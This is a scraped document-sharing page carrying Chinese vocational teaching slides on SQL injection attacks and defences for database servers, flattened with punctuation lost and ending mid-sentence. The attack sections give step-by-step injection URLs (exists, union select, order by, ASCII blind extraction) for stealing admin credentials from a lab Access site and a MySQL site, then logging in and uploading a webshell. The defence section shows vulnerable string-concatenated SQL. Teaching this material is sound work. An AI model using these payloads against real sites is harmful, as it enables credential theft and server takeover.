




已阅读5页,还剩26页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
学习情境三服务器入侵技术的应用与防护任务二数据库服务器的SQL注入攻击与防护 3 2数据库服务器的SQL注入攻击与防护 教学的实施过程 思考 探讨完成任务需要的相关资料 搜集资料 制定工作计划 明确需要完成的工作任务 教师进行点评 确定最终的实施方法 对技术问题进行讲授和答疑 学生进入网络实训室 根据工作计划完成每个工作项目 完成每个项目实施日志和心得总结 学生分组相互检查任务完成情况 分析不足 给出评价 教师对学生的日志和总结进行分析 给出评价 探索数据库的其它入侵方法和防范方法 搜索相关工具 并在虚拟网络或网络实训室中进行验证 3 2数据库服务器的SQL注入攻击与防护 常见的数据库攻击方法有哪些 目前的主流数据库的SQL注入技术 完成数据库SQL注入攻击所需要的环境和工具 如何防范数据库的SQL注入攻击 问题引领 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 一 环境说明 目前国内很大一部分网站都是采用asp access搭建成的 本实例网站是在虚拟机搭建的一套留言板程序 IP地址为 http 192 168 80 128 8181 bbs index asp 留言板首页 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 二 攻击实例讲解 点击公告连接 此时注意观察地址栏http 192 168 80 128 8181 bbs gshow asp id 1Gshow asp后面跟了一个id参数 其值为数字1 下面我们来看一下服务器端的gshow asp中的读取公告内容的代码 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 在id参数后面加上andexists select frommsysobjects 注 mysysobjects是access的系统表完整的测试语句 http 192 168 80 128 8181 bbs gshow asp id 1andexists select frommsysobjects 回车提交到服务器端 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 一般网站重要的信息就是后台管理员登陆帐号密码了 我们提交http 192 168 80 128 8181 bbs gshow asp id 1andexists select fromusers 判断数据库中是否存在users表 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 根据图中返回结果提示users表不存在 那么我们继续来提交http 192 168 80 128 8181 bbs gshow asp id 1andexists select fromadmin 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 提交http 192 168 80 128 8181 bbs gshow asp id 1andexists selectuserfromadmin 服务器返回 至少一个参数没有被指定值说明不存在user字段 继续提交http 192 168 80 128 8181 bbs gshow asp id 1andexists selectadminfromadmin 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 服务器返回正常 说明admin表里面存在字段 admin 这个字段一般就是管理员登陆名称 再提交http 192 168 80 128 8181 bbs gshow asp id 1andexists selectpasswordfromadmin 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 http 192 168 80 128 8181 bbs gshow asp id 1and selecttop1len admin fromadmin 5得到下图所示的页面说明长度为5 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 现在可以根据得到的信息猜解字段内容了 具体方法就是and selecttop1asc mid admin x 1 fromadmin x将表中第一条记录指定字段内容的某个字符的ascii值进行比较 以此类推从而猜测出字段内容本实例中提交http 192 168 80 128 8181 bbs gshow asp id 1and97 selecttop1asc mid admin 1 1 fromadmin 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 接下来我们把2 3 或4输出的地方换成我们想要查询到的管理员信息 上面我们已经知道了管理员表里面存在admin password字段 构造语句http 192 168 80 128 8181 bbs gshow asp id 1unionselect1 admin password 4 5fromadmin 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 获取了管理员表admin中的数据 根据图中返回信息可以判定字段数 4 继续提交orderby6 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 如图 出现了错误提示 说明字段数是小于6的 再提交orderby5 返回正常页面结合上面就可以断定字段数为5了 再使用unionselect即可查询出想要的信息 另一个是用unionselectx x来累加猜测 3 2数据库服务器的SQL注入攻击与防护 项目一Access数据库的SQL注入攻击 如果返回上图所示的错误信息就累加 直到页面输出数据的地方出现数字 然后再将字段名替换数字就能够实现快速得到数据库信息了 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 实例介绍 mysql数据库在web开发中也是运用得相当广泛 和其它数据库一样 在脚本编程时如果对参数没过滤或过滤不严格也会导至注入漏洞的产生 本实例是在虚拟机搭建php mysql网站 目标网站为http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 在url后面加上一下单引号 这是程序简单处理了数据库暴错信息 下面来进一步确定是否存在注入漏洞 分别提交http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 当提交and1 2的时候数据返回了错误信息 这种情况下无论什么数据库都可以确定存在注入漏洞了 开始进一步或取相关信息 先用orderby取得当前表的字段数 提交http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 返回了正常页面 再提交http spring sina 返回出错页面 说明字段数在大于或等于14小于19 再来提交http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 当提交http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 跟据页面返回信息可以看到在数据库查询显示结果的地方显示了我们刚刚输入的数字 下一步或取数据库版本 当前用户 数据库名提交http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 当前用户为sinaqd 非root 版本为4 0 18 5 0以下 对于这种情况 思路就是通过注入点提交查询语句得到管理员登陆信息然后进入后台上传webshell 下面来判断管理员表 http spring sina 再提交http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 继续猜字段 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 成功获取登陆名称sinaqd 继续提交 ttp spring sina 不存在pasword字段 提交http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 暴出了密码 下面就寻找后台入口了 配合google很快找到了管理入口http spring sina 3 2数据库服务器的SQL注入攻击与防护 项目二Mysql数据库的SQL注入攻击 输入用户名和密码 成功进入后台 现在是管理员了 然后在找到上传的地方上传webshell 3 2数据库服务器的SQL注入攻击与防护 项目三数据库注入攻击的防范 一 注入攻击防范分析注入攻击都是来自于客户端 无论是表单提交 URL传值还是Cookie等 其实原理都是一样的 到了服务器端可以分成三种情况 数字 日期时间 字符串 数字 假设我们要实现一个显示新闻的页面 我们可能会随手写下下面的代码 stringid Request QueryString id stringsql select fromnewswhereColID id 如果传递过来的id是我们想像的数字 比如168 那么自然不会有什么问题 但是如果传递过来的id是 168deletefromtable 的话 那么sql的值就变成了 select fromtablewhereColID 168deletefromnews 对于SQLServer来说是支持一次提交多条SQL语句的 这个为我们提供了方便之余也为SQL注入敞开了大门 显然如果这条SQL语句被执行的话 那么news表里的记录就都没有了 因为ColID字段的类型是int的 那么我们只需要验证一下传递过来的id是不是整数就可以了 整数就不存在注入 即使不存在注入 把一个不是整数的id拼接进去也会造成执行错误 所以说不管是不是为了预防SQL注入 也都应该验证id是不是整数 可以用TryParse 可以用正则 也可以自己写函数验证 但是不建议用try异常的方式 因为牵扯效率问题 这里还有一个特殊情况 就是对于批量删除这类的会传递过来多个数字 比如 1 2 3 10 这个也需要验证一下 万一有人利用这个漏洞呢 至于验证方法也很简单 自己写个函数就ok了 3 2数据库服务器的SQL注入攻击与防护 项目三数据库注入攻击的防范 一 注入攻击防范分析日期时间日期时间和数字的情况是一样的 验证是不是日期时间即可 字符串最麻烦 争议最大的就是这个了 先看一下如何注入 比如我们先要按照新闻标题来进行查询 可能写的代码 stringkey txtTitle Text stringsql select fromnewswheretitlelike key 这个又是如何注入的呢 如果key的值永远都不会包含单引号 那么会不会被注入进来 那么用了单引号又是如何注入的呢 假设key deletefromnews 那么sql的值就是 select fromnewswheretitlelike deletefromnews 先用一个单引号和前面的单引号组成一对封闭的单引号 这一对单引号内部 就作为字符串处理 而外面的就被作为SQL语句处理 而第二个单引号被 给注释掉了 这样就保证了整个sql语句的正确性 3 2数据库服务器的SQL注入攻击与防护 项目三数据库注入攻击的防范 二 注入攻击防范想想刚才的问题 如果没有单引号是不是就天下太平了呢 一般情况下不用单引号 不用单引号是很难注入的 既然找到了罪魁祸首 那么就好办了 把单引号干掉就ok了 key key Replace 这时候sql的值就是 select fromnewswheretitle
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 宠物行业宠物用品定制化趋势研究报告:2025年宠物经济发展白皮书揭示
- 2026届山东省济宁汶上县联考英语九年级第一学期期末综合测试模拟试题含解析
- 教师招聘之《幼儿教师招聘》能力提升试题打印及答案详解(真题汇编)
- 2025年济宁梁山县事业单二次开招聘工作人员(教育类)考试模拟试题及答案解析
- 2025中国人民财产保险股份有限公司武义支公司招聘(浙江)备考模拟试题及答案解析
- 2025黑龙江佳木斯大学附属第三医院招聘行风监督员2人备考考试题库附答案解析
- 2025重庆酉阳自治县事业单位定向招聘52人备考考试题库附答案解析
- 2025-2030肉牛养殖废弃物处理技术及循环经济模式与绿色投资研究报告
- 2025-2030羊肉行业生产自动化升级与智能化改造报告
- 2025-2030纹绣培训行业市场发展分析及前景趋势与投融资发展机会研究报告
- 涉密文件日常管理办法
- 微信社交礼仪见面扫一扫时代25课件
- 药品批发企业《药品经营质量管理规范》
- 2025贵州黔西南州兴义市招聘事业单位教师40人备考试题及答案解析
- 2025甘肃省省直文博单位招聘事业编制工作人员26人笔试备考试题及答案解析
- invt英威腾CHF100A变频器说明书
- 新教师岗前培训讲座中小学教学常规PPT
- GA/T 1968-2021法医学死亡原因分类及其鉴定指南
- 颈部肿物护理查房
- 上交叉与下交叉综合征(课堂PPT)
- 材料验收手册
评论
0/150
提交评论